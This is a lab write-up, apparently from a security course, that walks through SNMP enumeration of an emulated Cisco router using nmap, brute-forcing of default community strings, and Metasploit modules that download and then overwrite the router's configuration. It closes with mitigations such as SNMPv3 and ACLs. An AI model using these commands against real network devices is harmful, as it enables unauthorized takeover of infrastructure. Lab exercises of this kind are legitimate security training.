Network Security: SNMP Enumeration & Configuration Hijacking

Project Description

This project demonstrates how a lack of proper SNMP security can lead to a full network compromise. By exploiting default community strings on a Cisco Router, we perform information gathering, configuration extraction, and a final administrative hijack.

Lab Environment

• Network Emulator: EVE-NG
• Attacker: Kali Linux (150.1.7.101)
• Target: Cisco Router (150.1.7.103)

---

4. Lab: SNMP Enumeration (Step-by-Step)

Phase A: Target Configuration (The "Victim")

Configure a Cisco Router as an SNMP client with default passwords:

en configure terminal snmp-server community private rw # Set write access snmp-server community public ro # Set read access exit wr # Save configuration

Phase B: Scanning with Nmap

From your Kali Linux machine, identify if SNMP is open and crack the community strings:

Check Port 161

nmap -sU -p 161 150.1.7.103

Crack Passwords: Use a script to see if "public" or "private" are in use

nmap -sU -p 161 --script snmp-brute 150.1.7.103

Phase C: Exploitation with Metasploit (MSF)

Once you have the community string, you can download the router's configuration:

Open Metasploit

msfconsole -q

Search and use the grabber module

use auxiliary/scanner/snmp/cisco_config_tftp

Set your options

set RHOSTS 150.1.7.103 # The Router IP set LHOST 150.1.7.101 # Your Kali IP set COMMUNITY private # The discovered string set OUTPUTDIR /home/kali/ # Path to save the file

run

Result: This downloads the router's config file (150.1.7.103.txt) to your home folder.

Phase D: Hijacking (Uploading a New Config)

Modify that text file (e.g., change settings) and upload it back to the router to overwrite its settings:

Use the upload module

use auxiliary/scanner/snmp/cisco_upload_file

Set the parameters

set SOURCE /home/kali/150.1.7.103.txt set RHOSTS 150.1.7.103 set COMMUNITY private set action Override_Config

run

Result: The router successfully accepts the modified settings, demonstrating full control.

---

Mitigation & Best Practices

1. Upgrade to SNMPv3: Provides encryption and authentication.
2. Change Defaults: Never use "public" or "private" strings.
3. Use ACLs: Restrict SNMP access to authorized management IPs only.